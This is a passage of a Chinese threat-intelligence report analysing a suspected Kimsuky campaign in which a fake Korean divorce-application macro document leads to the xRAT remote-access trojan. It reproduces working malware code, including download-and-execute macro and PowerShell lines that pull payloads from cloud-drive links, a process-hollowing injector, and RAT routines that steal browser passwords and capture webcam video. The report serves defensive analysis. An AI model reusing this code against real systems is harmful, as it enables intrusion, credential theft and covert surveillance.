概述
瑞星威胁情报平台于2023年3月捕获到一起疑似针对韩国用户的攻击事件。攻击者使用DOCM
格式的诱饵文档,将其伪装成韩国法院电子信访中心提供的离婚确认申请书,并在其内部嵌入了恶意的宏代码。猜测攻击者大概率是通过使用网络钓鱼、垃圾邮件等社工方式进行投递,诱骗用户启用宏代码,从而启动攻击行动。此次事件的感染链中,攻击者将不同阶段使用到的恶意载荷托管在合法的网络云盘中,以此躲避本地安全检测机制,而最后阶段使用到的恶意载荷是名xRAT
的开源远控工具,该工具是以知名的QuasarRAT
开源工具为基础改进而来的,可帮助攻击者实现对于入侵主机的信息窃取及长期控制等目的。
Kimsuky
组织疑似来自于朝鲜,最早于2013年被公开披露并命名。该组织主要攻击目标为韩国、日本等国,涉及国防、教育、能源、政府、医疗以及智囊团等领域,以机密信息窃取为主。通常使用社会工程学、鱼叉邮件、水坑攻击等手段投递恶意软件,拥有功能完善的恶意代码武器库。自被发现以来,该组织一直处于活跃状态,开展了多起针对目标国家相关人员的攻击活动。
ATT&CK 矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0002 -执行 |
T1204 -用户执行 |
攻击者将初始文档伪装成离婚确认申请书,以此诱骗用户执行 |
TA0003 -持久化 |
T1053 -计划任务/作业 |
创建计划任务,以实现持久化 |
TA0005 -防御规避 |
T1027 -混淆过的文件或信息 |
传送信息均通过AES加密及QuickLZ压缩处理,以规避流量监控 |
TA0005 -防御规避 |
T1055 -进程注入 |
远控木马被注入到合法进程中执行 |
TA0006 -凭据访问 |
T1555 -密码存储的凭据 |
获取存储在本地浏览器内的用户密码 |
TA0007 -环境发现 |
T1083 -枚举文件和目录 |
获取指定路径下目录和文件信息 |
TA0007 -环境发现 |
T1057 -收集进程信息 |
收集被入侵主机的所有进程列表 |
TA0007 -环境发现 |
T1012 -收集注册表信息 |
收集被入侵主机的注册表信息 |
TA0007 -环境发现 |
T1518 -收集软件信息 |
收集被入侵主机安装的安全软件信息 |
TA0007 -环境发现 |
T1082 -收集系统信息 |
收集被入侵主机的操作系统和硬件信息 |
TA0007 -环境发现 |
T1016 -收集系统网络配置 |
收集被入侵主机的MAC地址和IP地址 |
TA0007 -环境发现 |
T1033 -探测系统所有者/用户 |
收集被入侵主机的用户名 |
TA0009 -收集信息 |
T1113 -屏幕截图 |
获取屏幕截图 |
TA0009 -收集信息 |
T1125 -视频捕获 |
通过网络摄像头获取影像 |
TA0011 -指挥与控制 |
T1001 -数据混淆 |
对C2流量进行混淆处理 |
TA0011 -指挥与控制 |
T1008 -备用通道 |
攻击者准备了多个C2服务器地址 |
TA0010 -外传信息 |
T1020 -自动外传 |
自动发送收集到的受害者机器信息 |
TA0010 -外传信息 |
T1041 -通过C2通道外传 |
C2通道同时可以接收木马回传的受害者机器信息 |
攻击事件详情
此次攻击事件中,攻击者使用的初始样本为DOCM
格式文档,其内容为离婚确认申请书,以此作为欺骗用户的诱饵。根据关联分析得知,该申请书原本是HWP
格式的文档,由韩国法院的电子信访中心提供下载,原文件名为협의이혼의사확인신청서(미성년 자녀가 없는 경우-법원제출용).hwp
。此处攻击者将其转换为Office
文档,并内嵌了恶意的宏代码,作为本次攻击事件的初始武器。后续的攻击行动中,攻击者使用合法的网络云盘服务托管了多个阶段的恶意载荷,以此隐藏自身攻击痕迹,并在最后阶段使用了名为xRAT
的远控工具与C2服务器进行通信,以实现对受害者主机的信息窃取和远程控制。该工具是基于知名的远控工具QuasarRAT
改进而来,其最大的特点是与C2服务器通信的数据经过了AES
加密和QuickLZ
压缩处理,可有效的躲避网络监控,隐蔽性更高。其诱饵文档内容如下:
攻击流程
此次攻击行动中,攻击者使用了多个轻量化的脚本程序作为攻击武器,其中部分恶意载荷托管于Google
云盘上,需要在攻击过程中下载到本地执行。最后阶段下载的数据是经过了QuickLZ
压缩的xRAT
木马加载器,在本地进行解压缩后被直接加载进内存中执行。该加载器会启动系统中名为CasPol.exe
的.NET
工具,然后将内嵌于自身资源段中的xRAT
木马程序注入到启动的CasPol.exe
进程空间内,从而在内存中动态执行,最终实现与C2服务器通信。其攻击流程图如下:
样本分析
此次攻击事件中的初始样本为内嵌恶意宏代码的Office
文档,该文档是由韩国法院提供的离婚意向确认申请书,不过被攻击者从HWP
格式转换为了DOCM
格式,根据其内容可知,主要针对目标为韩国用户。在后续的攻击过程中,攻击者使用了合法的网络云盘服务来托管恶意载荷,最后使用的远控木马是名为xRAT
的开源工具,可实现本地信息窃取和远程控制等功能。同时为了规避网络流量监控,该工具与C2服务器通信时的数据均经过QuickLZ
压缩和AES
加密处理,具有隐蔽性高、危害性强等特点。
1. 初始文档分析
字段 | 内容 |
---|---|
原始文件名 | 협의이혼의사확인신청서(미성년 자녀가 없는 경우-법원제출용).docm |
文件大小 | 61.08 KB (62545 bytes) |
文件MD5 | e0cf0881de0fe35732bb02c1f4df02a3 |
文件类型 | DOCM文档 |
病毒名 | Trojan.CodeLoader/VBA!1.DFBF |
文档创建日期 | 2023-03-12 09:53:00 |
主要功能 | 攻击行动初始文档,诱骗用户启用恶意的宏代码,进而执行托管于网络云盘的恶意载荷 |
初始文档名为협의이혼의사확인신청서(미성년 자녀가 없는 경우-법원제출용).docm
,内容为离婚确认申请书,文档被打开后提示用户需要启用宏才可以查看内容,以此诱骗用户主动启用宏代码。因为攻击者使用了合法的网络云盘来托管恶意载荷,所以内嵌的恶意宏代码功能较为简单。如此轻量化的处理,可以有效的规避本地防御系统的检测,极大的提高攻击行动的成功率。
1.1 文档宏代码分析
在宏代码中并没有直接去下载存放于云盘中的恶意载荷,而是将相关代码保存在本地临时目录下的version.ini
文件内,然后调用wscript.exe
执行去执行该文件。
Sub ResContent(pth, cnt)
Documents.Add
With ActiveDocument
.Range.Text = cnt
.SaveAs2 FileName:=pth, FileFormat:=wdFormatText
.Close
End With
End Sub
Sub AutoOpen()
On Error Resume Next
sn = "utf"
Set wm = GetObject("winmgmts:win32_process")
pw = "utf8utf8"
Weed sn, pw
Present
Set wnd = ActiveDocument
wnd.Save
cnt = "On Error Resume Next:Set mx = CreateObject(""MSXML2.ServerXMLHTTP""):mx.open ""GET"", ""https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t"", False:mx.Send:Execute(mx.responseText)"
pth = "C:\Users\" & Application.UserName & "\AppData\Roaming\Microsoft\Templates\version.ini"
ResContent pth, cnt '将恶意代码保存在version.ini文件内
wm.Create "wscript.exe //e:vbscript //b " & pth '执行恶意代码,其功能为取回位于云网盘上面的恶意载荷并执行
End Sub
1.2 释放的version.ini分析
该文件为VBS
脚本程序,使用GET
方法获取托管在Google
云盘上的恶意载荷,然后执行。
On Error Resume Next
Set mx = CreateObject("MSXML2.ServerXMLHTTP")
mx.open "GET", "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t" False
mx.Send:Execute(mx.responseText) '执行获取的恶意载荷
2. VBS脚本分析
字段 | 内容 |
---|---|
原始文件名 | upload_real.vbs |
文件大小 | 1.68 KB (1,729 bytes) |
文件MD5 | d4bb07f5a9462612cd0e8a9290e27fc8 |
文件类型 | VBS脚本 |
病毒名 | Dropper.Agent/VBS!1.E3C2 |
主要功能 | 释放三个脚本文件,功能包括创建计划任务、执行下阶段的恶意载荷 |
该脚本文件被执行后首先在本地创建目录C:\ProgramData\WindowsApp
,然后将系统工具powershell.exe
和wscript.exe
复制到该目录下,后续用来执行相应的脚本程序。同时还在此目录内释放了三个文件:version.ini
、runps.vbs
、conf.ps1
,其中version.ini
为VBS
脚本程序,由主程序启动执行,负责创建系统计划任务,而任务启动程序则指向同目录下的runps.vbs
脚本程序。runps.vbs
负责执行conf.ps1
,后者为PowerShell
脚本,负责下载并执行托管在Google
云盘上的恶意载荷。
'生成文件
Sub ResContent(pth, cnt)
Set fso = CreateObject("Scripting.FileSystemObject")
Set txtFile = fso.CreateTextFile(pth,true)
txtFile.Writeline(cnt)
txtFile.close
End Sub
'复制脚本执行程序到指定目录
Sub PSCopy()
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.CopyFile "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" , "C:\ProgramData\WindowsApp\"
FSO.CopyFile "C:\Windows\SysWOW64\wscript.exe" , "C:\ProgramData\WindowsApp\"
End Sub
Sub ProStart()
On Error Resume Next
'创建目录
Set scFSO = CreateObject("Scripting.FileSystemObject")
scFSO.CreateFolder("C:\ProgramData\WindowsApp")
'释放文件的路径
Set wm = GetObject("winmgmts:win32_process")
folderpth = "C:\ProgramData\WindowsApp\"
addschpth = folderpth & "version.ini"
powshellpth = folderpth & "powershell.exe"
wscriptpath = folderpth & "wscript.exe"
runpspath = folderpth & "runps.vbs"
confpth = folderpth & "conf.ps1"
'version.ini内容,负责创建计划任务,启动程序指向runps.vbs
addschcmdcont = "On Error Resume Next:Set WshShell = WScript.CreateObject(""WScript.Shell""):Return=WshShell.Run(""cmd /c schtasks /create /sc minute /mo 50 /tn """"MicrosoftEdgeUpdateTaskMachineUAC"""" /tr """"" &
wscriptpath & " //b " & runpspath & """"""",0,true)"
'runps.vbs内容,负责执行conf.ps1脚本
runpscont = "On Error Resume Next:Set WshShell = WScript.CreateObject(""WScript.Shell""):Return=WshShell.Run(""" & powshellpth & " -ExecutionPolicy Bypass -Command " & confpth & """,0,true)"
'conf.ps1内容,负责取回位于云网盘上面的恶意载荷
confcont = "iex (New-Object Net.WebClient).DownloadString('https://drive.google.com/uc?export=download&id=1i5iaaCK6wjd3_liWZ5VpcXEi9NMlGWp7&confirm=t')"
'本地目录下生成三个文件
ResContent addschpth, addschcmdcont
ResContent runpspath, runpscont
ResContent confpth, confcont
PSCopy '复制系统工具到创建的目录下
wm.Create "wscript.exe //e:vbscript //b " & addschpth '执行version.ini程序
End Sub
ProStart '程序入口处
3. PowerShell脚本分析
字段 | 内容 |
---|---|
原始文件名 | Load.ps1 |
文件大小 | 9.91 KB (10,152 bytes) |
文件MD5 | 8f411a46490016ac5d126b83cee65022 |
文件类型 | PowerShell脚本 |
主要功能 | 下载恶意载荷,经过本地解压缩后在内存中动态加载执行 |
该文件为PowerShell
脚本程序,内置了开源的QuickLZ
解压缩代码,其功能也是处理托管在Google
云盘上的恶意载荷。该恶意载荷为QuickLZ
压缩处理后的.NET
程序,本地进行解压缩处理后,通过反射加载的方式在内存中调用执行。
$name = "Main";
$URI = "https://drive.google.com/uc?export=download&id=17dzkPuJ-PAZFok58b9r73zdWpyrYAeI9&confirm=t"
$Response=Invoke-WebRequest -Method GET -Uri $URI -UseBasicParsing #从远程地址中获取数据
#[byte[]]$bytes = (wget $URI).content
[byte[]]$bytes = $Response.content
$length = $bytes.Length
write-host $length
$decompress_bytes = [gs.SafeQuickLZ]::Decompress($bytes) #使用公开的QuickLZ解压算法解压下载的数据
$assembly = [System.Reflection.Assembly]::Load($decompress_bytes) #利用反射类动态加载解压后的`.NET`程序
foreach ($type in $assembly.GetTypes())
{
write-host $type.Name.ToLower()
if(($type.Name.ToLower()).equals("program")) #查找程序集中名为"program"的类型
{
foreach ($method in $type.GetMethods())
{
write-host $method.Name.ToLower()
if (($method.Name.ToLower()).equals($name.ToLower())) #查找名为"Main"的方法
{
$instance = [System.Activator]::CreateInstance($type)
$method.Invoke($instance, @()) #调用程序集中指定的方法
#[namespace.Class]::Main($parametre)
#$instance::Main($parametre)
}
}
}
}
4. 木马加载器分析
字段 | 内容 |
---|---|
原始文件名 | ProcessHollowingCsharp.exe |
文件大小 | 275 KB (281,600 bytes) |
文件MD5 | 9d8c438b710b314b2dc2e003b2f177b7 |
文件类型 | EXE |
主要功能 | 内存中动态执行xRAT 木马程序 |
备注 | 无文件落地 |
该加载器为.NET
程序,功能是加载执行xRAT
远控程序。加载器首先将存放于自身资源段中的编码数据取出,该段数据经过了RC4
加密,经过解密后即为xRAT
远控工具的硬编码数据,然后加载器创建进程CasPol.exe
,将获取的硬编码数据以动态注入的方式在宿主进程中执行。CasPol.exe
为合法的.NET
工具,注入该进程执行远控木马,隐蔽性高,难以被发现。
4.1 主函数代码
主函数代码结构简单,包括从资源段中读取数据、生成随机初始化向量IV、调用注入函数等功能。
public static void Main()
{
// 宿主进程名
string hostProcess = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CasPol.exe";
// 获取位于自身资源段中的数据
Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("ProcessHollowingCsharp.last_rc.exe");
byte[] array = new byte[manifestResourceStream.Length];
manifestResourceStream.Read(array, 0, array.Length);
RC4EncDec.GenerateIV();
// 动态注入的方式执行`xRAT`木马程序,参数为RC4解密后的数据和宿主进程名
Program.PrivateKeyM(RC4EncDec.Generate_Enc_Dec(array), hostProcess);
}
4.2 注入进程代码
该方法主要负责创建进程CasPol.exe
,并将解密后的代码以动态注入的方式,在进程的内存空间中执行。
public static bool PrivateKeyM(byte[] exeBuffer, string hostProcess)
{
Program.STARTUPINFO startupinfo = default(Program.STARTUPINFO);
startupinfo.dwFlags = 257U;
startupinfo.wShowWindow = Program.SW_SHOW;
byte[] array = new byte[64];
byte[] array2 = new byte[248];
byte[] array3 = new byte[40];
int[] array4 = new int[4];
byte[] array5 = new byte[716];
Program.SetUintFromBytearray(array5, 0, 65543U);
Buffer.BlockCopy(exeBuffer, 0, array, 0, array.Length);
if (Program.GetUshortFromBytearray(array, 0) != 23117)
{
return false;
}
int uintFromBytearray = (int)Program.GetUintFromBytearray(array, 60);
Buffer.BlockCopy(exeBuffer, uintFromBytearray, array2, 0, array2.Length);
if (Program.GetUintFromBytearray(array2, 0) != 17744U)
{
return false;
}
// 创建主进程
if (!Program.CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, null, ref startupinfo, array4))
{
return false;
}
uint uintFromBytearray2 = Program.GetUintFromBytearray(array2, 52);
// 申请内存空间
uint num = Program.VirtualAllocEx((IntPtr)array4[0], IntPtr.Zero, Program.GetUintFromBytearray(array2, 80), 12288U, 64U);
if (num == 0U)
{
Program.TerminateProcess(array4[0], 0);
return false;
}
uint uintFromBytearray3 = Program.GetUintFromBytearray(array2, 160);
uint uintFromBytearray4 = Program.GetUintFromBytearray(array2, 164);
if (uintFromBytearray4 > 0U)
{
uint num2 = Program.VA2FileOffset(exeBuffer, uintFromBytearray2 + uintFromBytearray3);
for (uint num3 = 0U; num3 < uintFromBytearray4; num3 += 8U)
{
uint uintFromBytearray5 = Program.GetUintFromBytearray(exeBuffer, (int)(num2 + num3));
uint num4 = (Program.GetUintFromBytearray(exeBuffer, (int)(num2 + 4U + num3)) - 8U) / 2U;
int num5 = 0;
while ((long)num5 < (long)((ulong)num4))
{
ushort num6 = Program.GetUshortFromBytearray(exeBuffer, (int)(num2 + 8U + num3));
byte b = (byte)(num6 >> 12);
if (b == 3)
{
uint num7 = (uint)((uint)b << 12);
num6 = (ushort)((uint)num6 - num7);
num7 = (uint)num6 + uintFromBytearray5 + uintFromBytearray2;
Program.SetUintFromBytearray(exeBuffer, (int)Program.VA2FileOffset(exeBuffer, num7), Program.GetUintFromBytearray(exeBuffer, (int)Program.VA2FileOffset(exeBuffer, num7)) - uintFromBytearray2 + num);
}
num3 += 2U;
num5++;
}
}
}
Program.SetUintFromBytearray(array2, 52, num);
// 写入内存
Program.NtWriteVirtualMemory((IntPtr)array4[0], num, exeBuffer, Program.GetUintFromBytearray(array2, 84), IntPtr.Zero);
for (ushort num8 = 0; num8 < Program.GetUshortFromBytearray(array2, 6); num8 += 1)
{
Buffer.BlockCopy(exeBuffer, uintFromBytearray + array2.Length + array3.Length * (int)num8, array3, 0, array3.Length);
byte[] array6 = new byte[Program.GetUintFromBytearray(array3, 16)];
Buffer.BlockCopy(exeBuffer, (int)Program.GetUintFromBytearray(array3, 20), array6, 0, array6.Length);
Program.NtWriteVirtualMemory((IntPtr)array4[0], num + Program.GetUintFromBytearray(array3, 12), array6, Program.GetUintFromBytearray(array3, 16), IntPtr.Zero);
}
Program.NtGetContextThread((IntPtr)array4[1], array5);
byte[] array7 = new byte[4];
Program.SetUintFromBytearray(array7, 0, num);
// 写入内存
Program.NtWriteVirtualMemory((IntPtr)array4[0], Program.GetUintFromBytearray(array5, 164) + 8U, array7, 4U, IntPtr.Zero);
Program.SetUintFromBytearray(array5, 176, num + Program.GetUintFromBytearray(array2, 40));
Program.NtSetContextThread((IntPtr)array4[1], array5);
// 恢复线程,动态启动写入内存中的`xRAT`木马
Program.NtResumeThread((IntPtr)array4[1], IntPtr.Zero);
return true;
}
5. 远控木马分析
字段 | 内容 |
---|---|
原始文件名 | Client.exe |
文件大小 | 261 KB (267,264 bytes) |
文件MD5 | 3c687fb0a1921a53f9c607938f25fdd1 |
文件类型 | EXE |
病毒名 | Backdoor.xRAT!1.D01D |
主要功能 | 远控工具,实现对受害者主机的信息窃取、远程控制等功能 |
备注 | 无文件落地 |
该木马是名为xRAT
的开源工具,以知名的远控工具QuasarRAT
为基础改进而来。其最大的不同之处是将服务器通信时的数据进行了AES
加密和QuickLZ
压缩处理,隐蔽性更高,可以有效的躲避网络流量监控。该木马具有获取受害者主机的本地信息、注册表、系统启动项、文件及目录的操作、屏幕截图、下载、上传等功能,另外还可以利用受害者主机的网络摄像头拍摄视频或照片,提供给C2服务器。该程序为开源工具,攻击者可以根据自身需求进行定制,危害性极大。
5.1 主函数代码
主函数代码负责程序初始化和连接C2服务器等功能。
// 主函数
private static void Main(string[] args)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
AppDomain.CurrentDomain.UnhandledException += Program.HandleUnhandledException;
if (Settings.Initialize() && Program.Initialize() && !QuasarClient.Exiting)
{
Program.ConnectClient.Connect(); // 与C2服务器建立连接
}
Program.Cleanup();
Program.Exit();
}
5.2 方法AsyncReceive部分代码
该方法负责处理从服务器接收的数据,包括AES
解密和QuickLZ
解压缩等,最终处理结果的数据类型即为本地客户端可识别的指令。
private void AsyncReceive(object state)
{
for (;;)
{
Queue<byte[]> readBuffers = this._readBuffers;
byte[] array;
lock (readBuffers)
{
if (this._readBuffers.Count == 0)
{
object readingPacketsLock = this._readingPacketsLock;
lock (readingPacketsLock)
{
this._readingPackets = false;
break;
}
}
array = this._readBuffers.Dequeue(); // 接收的数据
}
this._readableDataLen += array.Length;
bool flag3 = true;
while (flag3)
{
Client.ReceiveType receiveState = this._receiveState;
if (receiveState != Client.ReceiveType.Header)
{
if (receiveState == Client.ReceiveType.Payload)
{
if (this._payloadBuffer == null || this._payloadBuffer.Length != this._payloadLen)
{
this._payloadBuffer = new byte[this._payloadLen];
}
int num = (this._writeOffset + this._readableDataLen >= this._payloadLen) ? (this._payloadLen - this._writeOffset) : this._readableDataLen;
try
{
// 将接受的数据复制到this._payloadBuffer指向的内存中
Array.Copy(array, this._readOffset, this._payloadBuffer, this._writeOffset, num);
}
catch (Exception ex)
{
flag3 = false;
this.OnClientFail(ex);
continue;
}
this._writeOffset += num;
this._readOffset += num;
this._readableDataLen -= num;
if (this._writeOffset == this._payloadLen)
{
bool flag4 = this._payloadBuffer.Length == 0;
if (!flag4)
{
// AES解密接收的数据
this._payloadBuffer = AES.Decrypt(this._payloadBuffer);
flag4 = (this._payloadBuffer.Length == 0);
}
if (!flag4)
{
try
{
// 使用SafeQuickLZ算法解压缩接收的
this._payloadBuffer = SafeQuickLZ.Decompress(this._payloadBuffer);
}
catch (Exception)
{
flag3 = false;
this.Disconnect();
continue;
}
flag4 = (this._payloadBuffer.Length == 0);
}
if (flag4)
{
flag3 = false;
this.Disconnect();
continue;
}
// 将处理后的数据写入内存流中
using (MemoryStream memoryStream = new MemoryStream(this._payloadBuffer))
{
try
{
// 反序列计算获取指令
IPacket packet = (IPacket)this.Serializer.Deserialize(memoryStream);
this.OnClientRead(packet); // 处理指令
}
catch (Exception ex2)
{
flag3 = false;
this.OnClientFail(ex2);
continue;
}
}
......
5.3 方法OnClientRead代码
该方法负责处理接收到的服务器指令,执行相对应的功能,其中指令GetAuthentication
负责获取受害者主机标识字符串,包括LZ
标志字段、主机的主机信息和地理信息等。
private void OnClientRead(Client client, IPacket packet)
{
Type type = packet.GetType();
if (this.Authenticated)
{
PacketHandler.HandlePacket(client, packet); // 处理指令
return;
}
if (type == typeof(GetAuthentication))
{
// 获取受害者主机信息,包括主机所在国家代码、客户端版本信息、客户端路径、主机名、用户名
CommandHandler.HandleGetAuthentication((GetAuthentication)packet, client);
return;
}
if (type == typeof(SetAuthenticationSuccess))
{
this.Authenticated = true;
}
}
指令GetAuthentication
代码,获取受害者主机的认证信息。
public static void HandleGetAuthentication(GetAuthentication command, Client client)
{
GeoLocationHelper.Initialize(); // 获取当前IP地址所在国家代码
new GetAuthenticationResponse(
Settings.VERSION, // `xRAT`客户端版本信息
PlatformHelper.FullName, // 操作系统
WindowsAccountHelper.GetAccountType(),
GeoLocationHelper.GeoInfo.Country,
GeoLocationHelper.GeoInfo.CountryCode,
GeoLocationHelper.GeoInfo.Region,
GeoLocationHelper.GeoInfo.City,
GeoLocationHelper.ImageIndex, // 国家代码的序列号
DevicesHelper.HardwareId, // 受害主机硬件Hash值,包括cpu名、BIOS标识符、主板标识符相加取SHA256值
WindowsAccountHelper.GetName(),
SystemHelper.GetPcName(),
Settings.TAG // "LZ"字段,为受害者主机标志
).Execute(client); // 发送认证信息给服务器
if (ClientData.AddToStartupFailed)
{
Thread.Sleep(2000);
new SetStatus("Adding to startup failed.").Execute(client); // 向服务器发送失败信息
}
}
5.4 方法HandlePacket部分代码
该方法负责判断接收到的服务器指令,并执行相对应的功能。
public static void HandlePacket(Client client, IPacket packet)
{
Type type = packet.GetType();
if (type == typeof(DoDownloadAndExecute))
{
CommandHandler.HandleDoDownloadAndExecute((DoDownloadAndExecute)packet, client);
return;
}
if (type == typeof(DoUploadAndExecute))
{
CommandHandler.HandleDoUploadAndExecute((DoUploadAndExecute)packet, client);
return;
}
if (type == typeof(DoClientDisconnect))
{
Program.ConnectClient.Exit();
return;
}
if (type == typeof(DoClientReconnect))
{
Program.ConnectClient.Disconnect();
return;
}
if (type == typeof(DoClientUninstall))
{
CommandHandler.HandleDoClientUninstall((DoClientUninstall)packet, client);
return;
}
if (type == typeof(DoAskElevate))
{
CommandHandler.HandleDoAskElevate((DoAskElevate)packet, client);
return;
}
if (type == typeof(GetDesktop))
{
CommandHandler.HandleGetDesktop((GetDesktop)packet, client);
return;
}
......
5.5 指令DoAskElevate代码
该指令使用ProcessStartInfo
类来实现进程权限提升的目的,可以用管理员身份启动当前木马进程。
public static void HandleDoAskElevate(DoAskElevate command, Client client)
{
if (WindowsAccountHelper.GetAccountType() != "Admin") // 当前用户不是Admin时,以管理员身份启动远控木马
{
ProcessStartInfo startInfo = new ProcessStartInfo
{
FileName = "cmd",
Verb = "runas",
Arguments = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true
};
MutexHelper.CloseMutex();
try
{
Process.Start(startInfo);
}
catch
{
new SetStatus("User refused the elevation request.").Execute(client);
MutexHelper.CreateMutex(Settings.MUTEX);
return;
}
Program.ConnectClient.Exit();
return;
}
// 向服务器发送字段,通知服务器已经完成提权
new SetStatus("Process already elevated.").Execute(client);
}
}
5.6 指令GetWebcam代码
该指令使用AForge
的AForge.video.directshow
库,通过主机自带的摄像头进行实时拍摄。
public static void HandleGetWebcam(GetWebcam command, Client client)
{
CommandHandler.Client = client;
CommandHandler.NeedsCapture = true;
CommandHandler.Webcam = command.Webcam;
CommandHandler.Resolution = command.Resolution;
if (!CommandHandler.WebcamStarted)
{
CommandHandler.FinalVideo = new VideoCaptureDevice(new FilterInfoCollection(FilterCategory.VideoInputDevice)[command.Webcam].MonikerString);
CommandHandler.FinalVideo.NewFrame += CommandHandler.FinalVideo_NewFrame;
CommandHandler.FinalVideo.VideoResolution = CommandHandler.FinalVideo.VideoCapabilities[command.Resolution];
CommandHandler.FinalVideo.Start();
CommandHandler.WebcamStarted = true;
}
}
5.7 指令DoMouseEvent代码
该指令根据服务器发送的鼠标相关动作,完成服务器对受害者主机的鼠标控制。包括鼠标左右键的按下和释放,以及鼠标在屏幕上的坐标位置。
public static void HandleDoMouseEvent(DoMouseEvent command, Client client)
{
try
{
Screen[] allScreens = Screen.AllScreens;
int x = allScreens[command.MonitorIndex].Bounds.X;
int y = allScreens[command.MonitorIndex].Bounds.Y;
Point p = new Point(command.X + x, command.Y + y);
switch (command.Action)
{
case MouseAction.LeftDown:
case MouseAction.LeftUp:
case MouseAction.RightDown:
case MouseAction.RightUp:
case MouseAction.MoveCursor:
if (NativeMethodsHelper.IsScreensaverActive())
{
NativeMethodsHelper.DisableScreensaver();
}
break;
}
switch (command.Action)
{
case MouseAction.LeftDown:
case MouseAction.LeftUp:
NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
break;
case MouseAction.RightDown:
case MouseAction.RightUp:
NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
break;
case MouseAction.MoveCursor:
NativeMethodsHelper.DoMouseMove(p);
break;
case MouseAction.ScrollUp:
NativeMethodsHelper.DoMouseScroll(p, false);
break;
case MouseAction.ScrollDown:
NativeMethodsHelper.DoMouseScroll(p, true);
break;
}
}
catch
{
}
}
5.8 指令GetSystemInfo代码
该指令负责获取主机系统信息,包括CPU、内存、系统目录、IP地址、安装的安全软件、防火墙等。
public static void HandleGetSystemInfo(GetSystemInfo command, Client client)
{
try
{
IPGlobalProperties ipglobalProperties = IPGlobalProperties.GetIPGlobalProperties();
string text = (!string.IsNullOrEmpty(ipglobalProperties.DomainName)) ? ipglobalProperties.DomainName : "-";
string text2 = (!string.IsNullOrEmpty(ipglobalProperties.HostName)) ? ipglobalProperties.HostName : "-";
new GetSystemInfoResponse(new string[]
{
"Processor (CPU)",
DevicesHelper.GetCpuName(),
"Memory (RAM)",
string.Format("{0} MB", DevicesHelper.GetTotalRamAmount()),
"Video Card (GPU)",
DevicesHelper.GetGpuName(),
"Username",
WindowsAccountHelper.GetName(),
"PC Name",
SystemHelper.GetPcName(),
"Domain Name",
text,
"Host Name",
text2,
"System Drive",
Path.GetPathRoot(Environment.SystemDirectory),
"System Directory",
Environment.SystemDirectory, // 系统目录
"Uptime",
SystemHelper.GetUptime(), // 系统已经运行多少时间
"MAC Address",
DevicesHelper.GetMacAddress(),
"LAN IP Address",
DevicesHelper.GetLanIp(), // 局域网IP地址
"WAN IP Address",
GeoLocationHelper.GeoInfo.Ip, // 外网IP地址
"Antivirus",
SystemHelper.GetAntivirus(), // 本地安装的安全软件信息
"Firewall",
SystemHelper.GetFirewall(), // 本地防火墙信息
"Time Zone",
GeoLocationHelper.GeoInfo.Timezone,
"Country",
GeoLocationHelper.GeoInfo.Country,
"ISP",
GeoLocationHelper.GeoInfo.Isp
}).Execute(client); // 传送给C2服务器
}
catch
{
}
}
5.9 指令DoVisitWebsite代码
该指令负责打开由服务器指定的网站,并告之服务器已经成功打开的网站。
public static void HandleDoVisitWebsite(DoVisitWebsite command, Client client)
{
string text = command.URL;
if (!text.StartsWith("http"))
{
text = "http://" + text; // 添加"http://"头
}
if (Uri.IsWellFormedUriString(text, UriKind.RelativeOrAbsolute))
{
if (!command.Hidden)
{
Process.Start(text);
}
else
{
try
{
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(text);
httpWebRequest.UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A";
httpWebRequest.AllowAutoRedirect = true;
httpWebRequest.Timeout = 10000;
httpWebRequest.Method = "GET";
using ((HttpWebResponse)httpWebRequest.GetResponse())
{
}
}
catch
{
}
}
// 向服务器发送"Visited Website"字段,通知已经打开的网站
new SetStatus("Visited Website").Execute(client);
}
}
5.10 指令GetPasswords代码
该指令负责获取保存在本地浏览器的密码,获取后传送给C2服务器。
public static void HandleGetPasswords(GetPasswords packet, Client client)
{
List<RecoveredAccount> list = new List<RecoveredAccount>();
list.AddRange(Chrome.GetSavedPasswords());
list.AddRange(Opera.GetSavedPasswords());
list.AddRange(Yandex.GetSavedPasswords());
list.AddRange(InternetExplorer.GetSavedPasswords());
list.AddRange(Firefox.GetSavedPasswords());
list.AddRange(FileZilla.GetSavedPasswords());
list.AddRange(WinSCP.GetSavedPasswords());
List<string> list2 = new List<string>();
foreach (RecoveredAccount recoveredAccount in list)
{
string item = string.Format("{0}{4}{1}{4}{2}{4}{3}", new object[]
{
recoveredAccount.Username,
recoveredAccount.Password,
recoveredAccount.URL,
recoveredAccount.Application,
"$E$"
});
list2.Add(item);
}
// 获取的数据传送给C2服务器
new GetPasswordsResponse(list2).Execute(client);
}
5.11 方法Send部分代码
该方法负责向C2服务器发送数据,数据包经过了AES
加密和QuickLZ
压缩处理。
// 向服务器发送数据
private void Send(object state)
{
while (this.Connected)
{
Queue<byte[]> sendBuffers = this._sendBuffers;
byte[] payload;
lock (sendBuffers)
{
if (this._sendBuffers.Count == 0)
{
this.SendCleanup(false);
return;
}
payload = this._sendBuffers.Dequeue();
}
try
{
// 发送数据包
this._handle.Send(this.BuildPacket(payload));
continue;
}
catch (Exception ex)
{
this.OnClientFail(ex);
this.SendCleanup(true);
}
return;
}
this.SendCleanup(true);
}
// 对需要向服务器发送的数据包进行QuickLZ压缩和AES加密
private byte[] BuildPacket(byte[] payload)
{
payload = SafeQuickLZ.Compress(payload, 3);
payload = AES.Encrypt(payload);
byte[] array = new byte[payload.Length + this.HEADER_SIZE];
Array.Copy(BitConverter.GetBytes(payload.Length), array, this.HEADER_SIZE);
